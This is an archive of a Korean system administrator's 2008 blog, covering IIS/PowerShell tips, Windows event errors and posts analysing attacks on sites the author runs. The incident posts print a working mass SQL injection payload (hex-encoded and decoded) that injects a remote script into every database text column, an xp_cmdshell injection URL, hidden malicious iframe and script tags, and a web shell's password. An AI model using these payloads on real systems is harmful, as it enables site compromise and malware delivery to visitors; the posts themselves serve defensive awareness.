2008/05/28

Windows PowerShell Scriptomatic - 파워쉘 스크립트 생성기



다운로드:
http://www.microsoft.com/downloads/details.aspx?FamilyID=D87DAF50-E487-4B0B-995C-F36A2855016E&displaylang=en

기존에 WMI Scriptomatic 와 같이, WMI 기반 PowerShell 스크립트를 자동으로 생성해 주는 스크립트 생성기 입니다. 물론 기본 형식만 생성....



해당 호스트에서 제공하는 네임스페이스와 클래스를 쉽게 조회해 볼수 있다는 장점은 있으나,. 스크립트 생성이 기본값이고,. 사용자 정의 스크립트 생성을 하기에는 인텔리센스 기능을 제공하는 다른 툴 보다는 약간 부족함이...;;

PS C:\> Set-ExecutionPolicy RemoteSigned

작업창에서 바로 실행을 해볼려면,. PowerShell 스크립트 파일 실행 권한을 위처럼 설정해 줘야 합니다.


27-scriptomatic-powershell-1.gif
27-scriptomatic-powershell-2.gif

해킹사례 - SQL Injection 방법 변화

예전에는, 아래과 같은 방법 이었습니다.

물론 지금도 간혹 시도를 하기는 하나, 해당 웹사이트 취약점이 있는지 간을 보기 위해서 하는 경우 외에는 잘 안하는 듯...;; --> 툴이 업데이트 되서 그렇겠지만..

http://www.serverinfo.pe.kr/TipnTech.aspx?Content=Net&Search=&vMode=View&page=&
Seq=105;CREATE
TABLE [X_5450]([id] int NOT NULL IDENTITY (1,1), [ResultTxt] nvarchar(4000) NULL);insert into [X_5450](ResultTxt) exec master.dbo.xp_cmdshell 'dir c:';insert into [X_5450] values ('g_over');exec master.dbo.sp_dropextendedproc 'xp_cmdshell'--

이렇게 하면,. 쿼리문이 평문 형태로 그대로 전달되기 때문에 웹코드에서 일부 처리가 되어 있는 경우 차단 됩니다. 그리고 주로 xp_cmdshell 를 많이 이용.

그렇지만,. 최근에는 실제 실행할 쿼리문을 바이너리형으로 형변환을 해서 쿼리를 실행하는 방법이 주로 사용되고 있습니다. 그리고 기존 데이터에 스크립트 문자열을 추가하는 방법.

select CAST(0x4400450043004C0041005200450020004000540020007600610072006300680061007200
280032003500350029002C0040004300200076006100720063006800610072002800320
035003500290020004400450043004C0041005200450020005400610062006C0065005
F0043007500720073006F007200200043005500520053004F005200200046004F005200
2000730065006C00650063007400200061002E006E0061006D0065002C0062002E006
E0061006D0065002000660072006F006D0020007300790073006F0062006A006500630
074007300200061002C0073007900730063006F006C0075006D006E007300200062002
00077006800650072006500200061002E00690064003D0062002E00690064002000610
06E006400200061002E00780074007900700065003D00270075002700200061006E006
4002000280062002E00780074007900700065003D003900390020006F0072002000620
02E00780074007900700065003D003300350020006F007200200062002E00780074007
900700065003D0032003300310020006F007200200062002E007800740079007000650
03D00310036003700290020004F00500045004E0020005400610062006C0065005F00
43007500720073006F00720020004600450054004300480020004E0045005800540020
00460052004F004D00200020005400610062006C0065005F0043007500720073006F0
07200200049004E0054004F002000400054002C004000430020005700480049004C00
4500280040004000460045005400430048005F005300540041005400550053003D0030
002900200042004500470049004E002000650078006500630028002700750070006400
61007400650020005B0027002B00400054002B0027005D00200073006500740020005
B0027002B00400043002B0027005D003D0072007400720069006D00280063006F006
E007600650072007400280076006100720063006800610072002C005B0027002B0040
0043002B0027005D00290029002B00270027003C0073006300720069007000740020
007300720063003D0068007400740070003A002F002F007700770077002E0064006F
0074006100310031002E0063006E002F006D002E006A0073003E003C002F0073006
30072006900700074003E0027002700270029004600450054004300480020004E00450
0580054002000460052004F004D00200020005400610062006C0065005F0043007500
720073006F007200200049004E0054004F002000400054002C0040004300200045004
E004400200043004C004F005300450020005400610062006C0065005F00430075007
20073006F00720020004400450041004C004C004F004300410054004500200054006
10062006C0065005F0043007500720073006F007200 AS nvarchar(4000))


최소한의 실행에 필요한 쿼리문외에 모두 바이너리로 변환을 해서 던져 줍니다. 다만,. 이게 GET 으로 넘기는게 아니라 최근에는 POST 로 넘기는 경우도 꾀 많다는 것...;;

문자열로 변환을 해보면 다음과 같습니다.

DECLARE @T varchar(255),@C varchar(255) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM  Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))+''<script src=http://www.dota11.cn/m.js></script>''')FETCH NEXT FROM  Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

위와 함께,. 요즘엔 사이트에 노출된 테이블에 대해서 해당 테이블에 있는 특정 컬럼의 모든 레코드에 스크립트 코드를 삽입하는 경우입니다.



SQL 쿼리에 대해서 초중급자 들도 알수 있는 내용으로 커서를 이용한 방법입니다.

무식하게,. <script src=http://www.dota11.cn/m.js></script> 를 무조건 때려 넣는 경우라서 기존에 들어가 있는 문자열과 짬봉이 되서 실제 웹페이지에서 스크립트로 실행되는 경우가 적기는 하지만 특정 레코드에서는 실행되는 경우가 있어서 위험 합니다.

해킹된 사이트중에, 현재 구글에 크롤링되어 있는 검색 결과가 약 173,000 여개로 매우 많은 사이트가 해킹되어 있습니다.

[검색결과보기]


2008/05/19

MSExchangeDSAccess / ID: 2114

프로세스 INETINFO.EXE(PID=2164). 토폴로지 검색을 실행하지 못했습니다. 오류: 0x80040952

http://support.microsoft.com/kb/919089/en-us

LSASRV / ID: 40960

보안 시스템에서 ldap/dc.wssplex.net 서버에 대한 인증 오류를 검색하였습니다.
Kerberos 인증 프로토콜에서의 실패 코드는
"주 도메인 컨트롤러의 시간이 백업 도메인 컨트롤러 또는 구성원 서버의 시간과 너무 많이 다릅니다.
(0xc0000133)"입니다.

MCSE, MCDBA, MCSD, MCITP, MCPD 인증 시험 브로셔





기존에 MCSE, MCDBA 는 2008 버젼 부터는 MCITP 로 변경 되었습니다.

http://www.microsoft.com/korea/learning/mcp/mcitp/default.mspx

Microsoft Certified Technology Specialist
Microsoft Certified IT Professional
Microsoft Certified Database Administrator
Microsoft Certified Desktop Support Technician
Microsoft Certified Systems Administrator
Microsoft Certified Systems Engineer
Microsoft Certified Professional Developer







아무튼,. 시험 종류도 많고,. 이런것도 이해를 해야 하나요?...
시험도 보기전에 시험 보는 방법도 배워야 할듯.... -_-;;


18-Windows-Server-2008-Certification.gif
18-MCITP.png

2008/05/18

Vbscript - InternetExplorer.Application 개체를 활용하여 웹페이지 출력

IE 개체를 활용한 Vbscript 로,, 특정 사이트나 옵션을 이용해서 브라우져를 띄우거나 또는 아래처럼 사이트 접속후 받아온 값을 문자열로 가져오거나...^^

Dim objIE, TimedOut, i

Set objIE = CreateObject( "InternetExplorer.Application" )
objIE.Visible = False
objIE.Navigate2 "https://www.networksolutions.com/whois/" _
     & "registry-data.jsp?domain=wssplex.net"

i = 0
TimedOut = False
Do While objIE.Busy
WScript.Echo "Internet Explorer busy...."
     WScript.Sleep 1000
     i = i + 1
     If i > 100 Then
          TimedOut = True
          Exit Do
     End If
Loop

If Not TimedOut Then
     WScript.Echo objIE.Document.Body.InnerText
Else
     WScript.Echo "Time out...!"
End If

objIE.Quit
Set objIE = Nothing


좀더 확장하거나 필요한 구현은 MSDN 문서를 참고,....
http://msdn.microsoft.com/en-us/library/aa752084(VS.85).aspx


2008/05/15

C# Programming 에 유용한 툴 목록

실제 링크는 다음 문서에서...
http://msdn.microsoft.com/ko-kr/vcsharp/aa336818(en-us).aspx



Featured Tools
IMSL™ C# Numerical Library for Microsoft® .NET Applications
Extreme Optimization Mathematics Library for .NET
devAdvantage : C# Source Code Analyzer for Visual Studio .NET

Libraries and Other Stuff
Visual Guard
LibCheck
AQdevTeam
C-Sharpener For VB
{smartassembly}
SmartInspect
Visual Studio Spell Check Add-In - StudioSpell

C# Compilers and Frameworks
.NET Framework SDK Downloads
Visual C# 2005, Express Edition
Rotor?The Microsoft Shared Source CLI Implementation
Mono
eXtensible C#
DotGnu

Obfuscators

{smartassembly}
Dotfuscator .NET Obfuscator
Salamander .NET Obfuscator
Semantic Designs: C# Source Code Obfuscator
Spices.Net
Thinstall
Demeanor for .NET
Xenocode Postbuild 2006
.NET Reactor

Decompilers
Dis#
Decompiler.NET
Exemplar/Anakrino
Reflector .NET Decompiler
Salamander .NET Decompiler (C#, C++, Visual Basic .NET, IL, MSIL)
Xenocode Fox 2006

Profiler/Optimization Tools
NCover
ANTS Profiler
{smartassembly}
Salamander .NET Decompiler (C#, C++, Visual Basic .NET, IL, MSIL)
.NET Memory Profiler
AQtime .NET Edition 2 - Automated Profiling and Debugging
Compuware DevPartner Studio Professional Edition
Allocation Profiler
CoverageEye.NET
NProf
Rational PurifyPlus - Product Overview - IBM Software

Refactoring
C# Refactory
dotEASY
devAdvantage : C# Source Code Analyzer for Visual Studio .NET
ReSharper
DocumentatorMacros

Object Browsers
Reflector for .NET
.NET Component Inspector
LSW DotNet-Reflection-Browser

Editors
C# for emacs
Improve C# Plugin for Eclipse
CodeObject
Semantic Designs: C# Source Code Formatter

Development Environments (IDEs)

SharpDevelop
PowerToys for Visual Studio .NET 2003

Build Tools

NAnt?A .NET Build Tool
CruiseControl.NET
FinalBuilder
Visual Build Professional
Hippo.NET
MegaBuild

Standard Verifiers
FxCop

Testing

TestRunner for NUnit
HarnessIt
POCMock
.NETUnit
NUnit
TestComplete
X-Unity
csunit

Documentation
NDOC?Code Documentation Generator for .NET
SoftSteel C# Tutorial on Documentation
NetDoc
Roland Weigelt's GhostDoc

Database

ADO.NET Express
Data Access Application Block for .NET
DataLG: Generate Assemblies for Visual C# and Visual Basic .NET
DeKlarit
OlyMars

Regular Expressions

GotDotNet User Sample: Regular Expression Workbench (V2.00)
Regular Expression Designer
Expresso?A Tool for Building and Testing Regular Expressions

Graphics, Games and Drawing
CadLib
Sharp3D.Math Library
Animated Vector Graphics

2008/05/13

악성코드 bluell.cn 의 ip.js

직간접적으로 운영되는 서버의 사이트중 하나에 다음 Sql Injection 코드가 삽입 되었습니다.. 최근에 삽입되는 종류가 매우 다양 하군요.. -_-;;

<script src=hxxp://bbs.juedui<script src=hxxp://www.bluell.cn/ip.js></script>
<script src=hxxp://www.bluell.cn/ip.js></script>
<script src=hxxp:/<script src=hxxp://www.bluell.cn/ip.js></script>

직접 위 주소의 ip.js 파일을 다운로드 해볼려니 삭제된 것 같습니다.

구글링 결과 354개.

http://www.google.co.kr/search?complete=1&hl=ko&newwindow=1&q=bluell.cn%2Fip.js&btnG=%EA%B2%80%EC%83%89&lr=lang_ko&aq=-1&oq=

위 코드중에 짤린 부분인,.
juedui.com 도 악성코드 위험 사이트 군요.

악성코드에 대한 보다 많은 정보는 다음 블로그 추천드립니다.
참고해 보세요.!! ^^;;

http://swbae.egloos.com/


Userenv / ID: 1058

GPO CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=Policies,CN=System,DC=wssplex,DC=net에 대한 gpt.ini 파일에 액세스할 수 없습니다. 파일은 <\\wssplex.net\sysvol\wssplex.net\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\gpt.ini> 위치에 있어야 합니다. 액세스에 실패했습니다. (컴퓨터를 사용할 수 없거나 액세스가 거부되었기 때문에 도메인 컨트롤러에서 구성 정보를 읽을 수 없습니다. ). 그룹 정책 처리가 중단되었습니다.

IIS 명령줄 관리 도구, AppCmd : 사이트 속성 조회 및 변경

특정 사이트의 환경 설정값 전체 조회

appcmd.exe list config "www.wssplex.net"


특정 사이트의 환경 설정값중 특정 섹션

appcmd.exe list config "www.wssplex.net" /section:asp

<system.webServer>
  <asp>
    <session />
    <comPlus />
    <cache diskTemplateCacheDirectory="%SystemDrive%\inetpub\temp\ASP Compiled Templates" />
    <limits />
  </asp>
</system.webServer>



특정 사이트의 환경 설정값중 특정 섹션의 속성값

appcmd.exe list config "www.wssplex.net" /section:asp /config:*

<system.webServer>
  <asp appAllowClientDebug="false" appAllowDebugging="false" errorsToNTLog="false" ..........



환경 설정값 에서 어떤 섹션이 있는지 조회

appcmd.exe list config /section:?

system.net/authenticationModules
system.web/deployment
system.web/httpModules
system.webServer/directoryBrowse
system.webServer/cgi .................



웹서버 또는 특정 사이트의 특정 섹션값 변경

appcmd.exe set config /section:asp /appAllowClientDebug:false

구성 커밋 경로 "MACHINE/WEBROOT/APPHOST"에서 "MACHINE/WEBROOT/APPHOST"의 "system.webServer/asp" 섹션에 구성 변경을 적용했습니다.


등록되어 있는 모듈 조회

appcmd.exe list config /section:system.webServer/modules

<system.webServer>
  <modules>
    <add name="HttpCacheModule" />
    <add name="StaticCompressionModule" />
    <add name="DefaultDocumentModule" />
    <add name="DirectoryListingModule" />
    <add name="ProtocolSupportModule" />
    <add name="StaticFileModule" />
    <add name="AnonymousAuthenticationModule" />
    <add name="RequestFilteringModule" />
    <add name="CustomErrorModule" />
    <add name="IsapiModule" />
    <add name="HttpLoggingModule" />
    <add name="BitrateModule" />
  </modules>
</system.webServer>



특정 모듈 추가 및 제외 [+/-]

appcmd.exe set config /section:system.webServer/modules /-[name='HttpCac
heModule']



특정 노드 또는 속성값 조회

appcmd.exe search config "www.wssplex.net"

CONFIGSEARCH "MACHINE/WEBROOT/APPHOST/www.wssplex.net"

2008/05/12

IIS7 관리자 - 백업 및 복원 UI 모듈


Appcmd 를 통해서 백업 및 복원이 가능한 절차를, IIS 관리도구의 UI 상에서 가능하도록 UI 모듈이 배포 되고 있습니다. 물론 간단하게 그냥 Appcmd 명령행을 이용해도 좋겠지요..^^
다운로드: http://www.iis.net/go/1552



세팅 방법은 간단 합니다.

1. IIS7BackupRestore.dll 모듈 다운로드


2. 어셈블리 케시에 등록

IIS7BackupRestore.dll 모듈을 C:\Windows\assembly 폴더에 마우스로 찝어 넣어서 어셈블리 케시에 등록

3. Administration.config 에 모듈 정보 등록

<moduleProviders> 노드에 다음 추가

<add name="IIS7BackupRestoreUI" type="IIS7BackupRestoreUI.MyModuleProvider, IIS7BackupRestoreUI, Version=1.0.0.0, Culture=neutral, PublicKeyToken=db9daa3d2ea5f6fd" />

<modules> 노드에 다음 추가

<add name="IIS7BackupRestoreUI" />


이제 IIS 관리자 도구를 실행하면 UI가 추가 되어 있습니다.^^



백업 파일 경로는, 기본 경로 C:\Windows\System32\inetsrv\backup 에 백업 이름별 폴더에 저장됩니다. 복원 역시,. 백업 이름별 복원이 가능합니다.


Security-Licensing-SLC / ID: 8193

라이선스 활성화 스케줄러(SLUINotify.dll)가 실패했습니다. 오류 코드:
0xC004D302

Service Control Manager / ID: 7024

SL UI Notification Service 서비스가 서비스 특정 오류 3221541634 (0xC004D302) 때문에 종료되었습니다.

AppcmdUI - IIS7 명령줄 관리도구 Appcmd의 GUI 버젼



Windows Server 2008 IIS7 을 관리하기 위한 명령줄 도구 중에 하나인 Appcmd 의 GUI 버젼이 배포되고 있습니다. 물론 Microsoft 공식적인 배포는 아니고 개인 프로젝트 형식...

다운로드: http://www.iis.net/downloads/default.aspx?tabid=34&g=6&i=1446

이 툴의 장점은 역시 명령행을 인텔리센스 기능 입니다.

PowerShell 도 GUI 버젼이 나오더니,. Appcmd 도 나오는 군요.^^


12-iis7-appcmd-ui.gif

GeoIP 를 이용해서 전세계 IP 할당 지역(국가 및 도시) 확인

이미 수많은 개발자 및 서버들에서 이용되고 있는걸 저도 한번 해봤습니다...^^ 샘플코드가 있으니 뭐 딱히 할꺼라론....

전세계의 IP 할당에 관련된 최신 데이터 베이스는 http://www.maxmind.com/ 에서 구할수가 있습니다. 물론 상용버젼도 있으나 Free 버젼도 일반적인 상황에서는 훌륭 합니다.

샘플코드 : http://www.maxmind.com/app/api
DB파일 : http://www.maxmind.com/download/geoip/database/GeoIP.dat.gz


특히 Linux 계열에서는 GeoIP 를 방화벽에서 컴파일을 통한 모듈 추가를 해서, 특히 중국측 IP 대역을 차단하는데 많이들 이용하는 것 같습니다.

iptables -A INPUT -m geoip ! --src-cc KR -j DROP


다음은, 예제 코드에 있는 내용중 일부 입니다.

using System.IO;
using System.Net;

string IpAddress = Request.UserHostAddress;
CountryLookup cl = new CountryLookup(Server.MapPath("/") + "GeoIP_200805.dat");
Literal_GeoIp.Text = cl.lookupCountryName(IpAddress);


샘플코드에 있는 클래스는 별도로 만들어도 상관 없고요...
public partial class CountryLookup 처럼 해도 되고,. 그대로 쓰면 됩니다.

IP 주소는 숫자형으로 변환을 해야 합니다.

private long addrToNum(IPAddress addr)
{
        long ipnum = 0;
        byte[] b = BitConverter.GetBytes(addr.Address);
        for (int i = 0; i < 4; ++i)
        {
            long y = b[i];
            if (y < 0)
            {
                y += 256;
            }
            ipnum += y << ((3 - i) * 8);
        }
        Console.WriteLine(ipnum);
        return ipnum;
}


그외,. http://www.ip2nation.com/ 는 MySQL 에서 이용할수 있도록 덤프 파일을 제공하고 있는데요,. MySQL 을 이용하다면 DB 쿼리 방식도 괜찮을것 같고요..

$sql = 'SELECT
     c.country
 FROM
     ip2nationCountries c,
     ip2nation i
 WHERE
     i.ip < INET_ATON("'.$_SERVER['REMOTE_ADDR'].'")
     AND
     c.code = i.country
 ORDER BY
     i.ip DESC
 LIMIT 0,1';

MSSQL 에다가 넣어서 할려면,. 위처럼 IP 주소 형식을 숫자형으로 변경해서 쿼리를 해줘야 합니다.

2008/05/11

영구적인 웹페이지 Http 301 Redirect 예제

PHP Redirect
<?
     Header( "HTTP/1.1 301 Moved Permanently" ); 
     Header( "Location: http://www.wssplex.net/" );
?>


ASP Redirect

<%@ Language=VBScript %>
<%
     Response.Status="301 Moved Permanently"
     Response.AddHeader "Location",http://www.wssplex.net/
%>


ASP .NET Redirect

<script runat="server">
     private void Page_Load(object sender, System.EventArgs e)
     {
          Response.Status = "301 Moved Permanently";
          Response.AddHeader("Location",http://www.wssplex.net/);
     }
</script>


JSP (Java) Redirect

<%
     response.setStatus(301);
     response.setHeader( "Location", http://www.wssplex.net/ );
     response.setHeader( "Connection", "close" );
%>


IIS Redirect




11-http-301-iis-redirect.gif

2008/05/10

해킹사례 - 웹사이트 디렉토리에 올려진 파일들

다음은,.. 특정 서버의 업로드 폴더를 포함해서 여기저기 올려져 있던 파일 목록입니다.

2007-11-16  오후 10:31           212,480 123.asp
2007-11-16  오후 10:31           164,352 1234.asp
2007-11-16  오후 10:32           164,352 12345.asp
2007-11-16  오후 10:33           839,168 321.asp
2007-11-16  오후 10:33           839,168 aaa.asp
2008-04-12  오전 05:27            76,914 asp.asp
2008-03-30  오후 05:06             5,942 DataTypeLib.asp
2008-03-30  오후 05:05            77,030 n.asp
2007-11-16  오후 10:35            49,664 qqq.asp
2008-03-30  오후 05:06               598 shao.asp
2007-09-21  오후 06:31            79,881 shell.asp
2008-03-30  오후 05:06            25,167 side.asp
2008-03-30  오후 05:06            31,506 sqlultimate.asp
2007-11-16  오후 10:36            49,664 sss.asp
2008-05-09  오후 05:15            82,899 WebShell8.0.asp

대부분 Script Encoder 로 인코딩을 해놓은 상태입니다.

내용은 뭐 대부분,. SQL 조작을 위한 것 또는 업로드된 파일을 다른 사이트를 해킹후 iframe 로 사입하는 경우등 입니다.

<iframe src="hxxp://boc.sbb22.com/home/index.htm width=20 height=0></iframe>
<iframe src=hxxp://sp.070808.net/23.htm width=0 height=0></iframe>
<iframe src="hxxp://w.aeaer.com/ae.htm" width=0 height=0></iframe>
<iframe src="hxxp://qi.ccbtv.net/btv.htm" width=0 height=0></iframe>
<iframe src="hxxp://88.881215.com/88.htm" width=0 height=0></iframe>
<iframe src="hxxp://ca.winvv.com/cn.htm" width=0 height=0></iframe>
<iframe src="hxxp://xx.9365.org/ip/1.htm" width=100 height=0></iframe>
<iframe src=hxxp://acc.jqxx.org/live/index.htm width=100 height=0></iframe>
<iframe src="hxxp://xx.9365.org/ip/1.htm" width=100 height=0></iframe>

- 해당 스크립트를 브라우져에서 실행하면 웜에 감염될 위험이 있습니다. 브라우져는 javascript 실행을 disable 해놓으시고... 테스트 접속를.... -


위 asp 파일들을 로컬 윈도우 탐색기등에서 그냥 엑세스만 해도, Microsoft Forefront Client Security 에서 다음과 같은 경고가 발생합니다.

Microsoft Forefront Client Security 실시간 보호 에이전트가 변경 내용을 감지했습니다. 잠재적인 위험이 있을 수 있으므로 이러한 변경을 수행한 소프트웨어를 분석하는 것이 좋습니다. 이러한 프로그램의 작동 방식에 대한 정보를 사용하여 프로그램의 실행을 허용할지 또는 컴퓨터에서 제거할지 선택할 수 있습니다. 프로그램이나 소프트웨어 게시자를 신뢰할 수 있는 경우에만 변경을 허용하십시오. Microsoft Forefront Client Security은(는) 허용한 변경을 실행 취소할 수 없습니다.
 자세한 내용은 다음을 참조하십시오.
http://go.microsoft.com/fwlink/?linkid=37020&name=Exploit:HTML/IframeRef.gen&
threatid=2147536539


  검색 ID: {80B47AE7-1DC3-41A5-96B2-B63CC2E0939B}
  에이전트: IE 다운로드 및 Outlook Express 첨부 파일
  사용자: WSSPLEX\Administrator
  이름: Exploit:HTML/IframeRef.gen
  ID: 2147536539
  심각도: 심각
  범주: 익스플로이트
  경고 종류: 스파이웨어 및 사용자 동의 없이 설치된 소프트웨어

  검색 ID: {80B47AE7-1DC3-41A5-96B2-B63CC2E0939B}
  에이전트: IE 다운로드 및 Outlook Express 첨부 파일
  사용자: WSSPLEX\Administrator
  이름: Virus:VBS/VBSWGbased.gen
  ID: 2147536537
  심각도: 심각
  범주: 바이러스

  검색 ID: {80B47AE7-1DC3-41A5-96B2-B63CC2E0939B}
  에이전트: IE 다운로드 및 Outlook Express 첨부 파일
  사용자: WSSPLEX\Administrator
  이름: Backdoor:ASP/Ace
  ID: 2147593981
  심각도: 심각
  범주: 백도어

등등.........


2008/05/09

해킹사례 - 업로드 디렉토리에 mssql.asp 를 이용해서 DB 조작

뭐 계속해서 여러가지 방법으로, 해킹이 되고 있고...

< 뭐 어디서 찾은게 아니고 직간접적으로 운영되는 서버의 업로드 폴더에 업로드된 파일 >

많이 알려진 방법중에 하나 인데 해킹 방법은 이미 인터넷상에 공개가 많이 되고 있으므로 업로드된 툴에 대해서 간단하게 살펴 보면....

업로드 폴더에 mssql.asp 파일을 업로드후,. SQL Server 를 조작하는 툴입니다. 사전에 이미 해당 웹사이트를 해킹해서 DB 서버 정보를 파악하는게 먼저 이겠지요..;;

업로드된 mssql.asp 파일은 바로 알아보지 못하게 인코딩이 되어 있습니다.

Windows Script Decoder
http://www.virtualconspiracy.com/content/scrdec/download



해당 인코딩된 파일을 디코딩해서 풀어서 실행해 보면 다음과 같은 sql 을 조작할수 있는 기능 페이지가 뿌려집니다.

로그인 체크 기능도 있으므로 물론 사전에,. 코드된 내용을 살펴봐야 하겠지요.
위 mssql.asp 파일을 보니,.

AppName = "G.X HacK(繫晷珙綾)"
AppVersion = "v0.2"
AppAuthor = "IFriend & Wang YuHeng"
AppQQ = "QQ:9983808"
AppMail = "ifriend#qq.com"
AppWeb = "hxxp://www.gxhack.net" strPassword = "!"

패스워드는 ! 이군요...



대부분의 웹해킹 툴들이 이미 공개된 웹어플을 기반으로 제작해 놓은것이라서 어렵지 않게 작성이나 구현이 가능합니다.


08-mssql-hack-tool-2.gif
08-mssql-hack-tool-1.gif

Server / ID: 2510

서버 서비스가 오류 코드 1722을(를) 매핑할 수 없습니다.

참고kb: http://support.microsoft.com/kb/319335


2008/05/08

Sql Injection 을 이용해 삽입된 최근 악성코드 몇개

다음은, 최근에 일부 사이트(직간접으로 운영되는 서버에서...)에서 발생했던 Sql Injection 을 이용한 레코드에 스크립트 삽입이 되었던 스크립트 들입니다.. 보니깐,. 5월 5일 어린이날 전후인듯 싶습니다. 

<script src="
hxxp://winzipices.cn/3.js"></script>

구글링: http://www.google.co.kr/search?complete=1&hl=ko&newwindow=1&q=winzipices.cn%2F3.js&btnG=%EA%B2%80%EC%83%89&lr=lang_ko&aq=-1&oq=

<script src="hxxp://www.11910.net/1.js"></script>

구글링: http://www.google.co.kr/search?complete=1&hl=ko&newwindow=1&q=11910.net%2F1.js&btnG=%EA%B2%80%EC%83%89&lr=lang_ko&aq=f

<script src=hxxp://www.nmidahena.com/1.js></script>

구글링: http://www.google.co.kr/search?complete=1&hl=ko&newwindow=1&q=nmidahena.com%2F1.js&lr=lang_ko&aq=f

이건,. 검색건수가 10,900 건이네요..


대부분 유사한 파일명인 1.js 로 구글에서 검색하면, 104,000 여개가 검색됩니다.

구글링: http://www.google.co.kr/search?complete=1&hl=ko&newwindow=1&q=1.js&btnG=%EA%B2%80%EC%83%89&lr=lang_ko&aq=f


위 js 파일들 내부는 거의 대부분, 아래와 같은 형식을 취하고 있습니다.

document.writeln("<iframe width=\'10\' height=\'1\' src=\'hxxp:\/\/www.nmidahena.com\/1.htm\'><\/iframe>");

내용을 좀더 보실려면,.  저장하기 다운로드 받아서 텍스트 편집기로 열어보는 것도 좋겠습니다만,. 실행하면 안됩니다... -_-;;


사이트에 악성코드가 있는지 알아볼수 있는 Proxy - SpyBye

http://swbae.egloos.com/1752527 헐랭이님 포스트 보니깐,. 음...

직접 해보니 나름 괜찮아 보이긴 한데,. 한가지 아쉬운 점은 url 을 직접 쳐 넣어야 한다는 점... -_-;;



사용법은,. 댓글에도 있지만,. 웹브라우져를 SypBye 서버를 Proxy 로 지정하면,.
사이트 접속시 해당 사이트의 분석을 해줍니다.



손이 좀 가지만,... 사이트 운영자라면,.
자신의 사이트에 대해서 한번 해보는 것도 좋을것 같습니다.^^;



08-SpyBye-Proxy-1.gif
08-SpyBye-Proxy-2.gif

2008/05/07

FCSAM / ID: 3004

Microsoft Forefront Client Security 실시간 보호 에이전트가 변경 내용을 감지했습니다. 잠재적인 위험이 있을 수 있으므로 이러한 변경을 수행한 소프트웨어를 분석하는 것이 좋습니다. 이러한 프로그램의 작동 방식에 대한 정보를 사용하여 프로그램의 실행을 허용할지 또는 컴퓨터에서 제거할지 선택할 수 있습니다. 프로그램이나 소프트웨어 게시자를 신뢰할 수 있는 경우에만 변경을 허용하십시오. Microsoft Forefront Client Security은(는) 허용한 변경을 실행 취소할 수 없습니다.

자세한 내용은 다음을 참조하십시오.
http://go.microsoft.com/fwlink/?linkid=37020&name=Backdoor:ASP/Ace&threatid=2147593981

검색 ID: {6AE196E0-2CA5-41C1-B082-E8BF5AA05D62}
에이전트: On Access
사용자: WSSPLEX\IUSR_WSSPLEX

이름: Backdoor:ASP/Ace
ID: 2147593981
심각도: 심각
범주: 백도어
찾은 경로: file:D:\WWWROOT\xx\xx\data\board\pds\test.asp->(EncScript)

경고 종류:
프로세스 이름: C:\WINDOWS\system32\inetsrv\w3wp.exe
감지 형식: 구체적
상태: 일시 중단

Ftdisk / ID: 57

시스템에서 데이터를 트랜잭션 로그로 플러시하지 못했습니다. 데이터 손상이 발생할 수도 있습니다.

서버 관련 무료로 배포되는 컴포넌트 모음 - IISdev

배포 웹사이트 :
http://www.alphasierrapapa.com/IisDev/Components/



AspEventLog Component 2.0  - 이벤트로그 조회

AspEventViewer Component 1.0  - 이벤트로그 조회

AspQPerfCounters Component 1.0 - 성능카운터 조회

AspTear Component 1.0 - 원격 페이지 호출

AspTouch Component 1.0 - 파일 속성/수정

FileCache Component 2.1 - FileSystemObject 대체용

MacBinary Xtraction Component 1.0 - 맥형식 바이너리 처리

Profiling Component 1.1 - 코드 성능 프로필러

RegServer Component 1.0 - 웹상에서 dll register

VersionInfo Component 1.1 - 파일 버젼 정보

W3INFO Component 1.0 -  웹서버 정보


예제등 도움말도 있으므로 예제 코드로 구현해 보면 금방 알수 있을것 같고요,.
대부분은 ASP.NET/C# 를 할줄 안다면,. 위 컴포넌트 아니고서도 가능한 부분... ^^;;

Cisco Guard & Detector - DDoS 방어 솔루션 동영상




http://www.cisco.com/web/KR/learning/online_seminar/pop_3_1.html

위 동영상 강좌는 물론 Cisco 에서는 최종적으로 자사 제품인 Guard & Detector 의 기능과 성능을 설명하기 위한 내용 위주 입니다만,.

위 강좌 내용을 소개하는 이유는 제품 기능이 아니라,..

섹션중에,. DDoS 공격이란?전통적인 방어 기법들과 문제점 부분을 중점적으로 보시면 DDoS 를 이해하는 데 훌륭한 내용 같습니다.. ^^

Cisco DDoS 방어솔루션 섹션도,. 대부분의 IPS 장비들이 룰이나 기능면에서 대동소이 하므로 IPS 솔루션에 대한 이해 측면에서도 좋을것 같습니다.

그러나, 현재 대부분의 장비가 1Gbps 이고 이는 최근 DDoS 공격 특성상 10Gbps 이상 트래픽을 밀어 넣으므로 최적일수는 없고, 최근 나오는 10Gbps 장비들은 수억을 호가하는 몇몇만 있는 상태라서 구축하기가 어려운게 사실이지요..... -_-;;


06-cisco-ddos-guard-detector.jpg

RD Tabs - 다중 탭 지원 터미널 서비스 클라이언트






다운로드: http://www.avianwaves.com/Tech/Tools/RDTabs/

무료 공개 프로그램으로,. Windows Visata 및 Windows Server 2008 의 RDP 6.x 버젼도 지원 합니다. 또한 매우 다양하고 상세한 옵션 설정이 가능하고 편리한 기능이 지원 되네요..^^;;



06-Terminal-Service-RD-Tabs-2.gif
06-Terminal-Service-RD-Tabs-3.gif

2008/05/06

DDoS (분산 서비스 거부), Http 웹 공격으로 인한 서비스 지연

다음은, 실제 Http 웹 공격 사례 입니다. 이러한 공격 패턴은 기존의 트래픽을 밀어 넣는 방식과는 다르게 특정 웹사이트의 서비스를 지연 또는 장애를 일으킬 목적이 큽니다.



<Http Connections 갯수는 챠트상으로는 2440 근처이지만 그 지점에서 웹프로세스가 바로 장애가 발생하면서 더 올라가지 않았지만,..>



<과연 120Mbps 가까운 트래픽은 도대체 어디로 향하는지....;;>



<공격후의 시점에서의 Ping loss 율은 50~70% 선...>


공격은,. 오후 8시 20분 경부터 시작이 되었는데요..

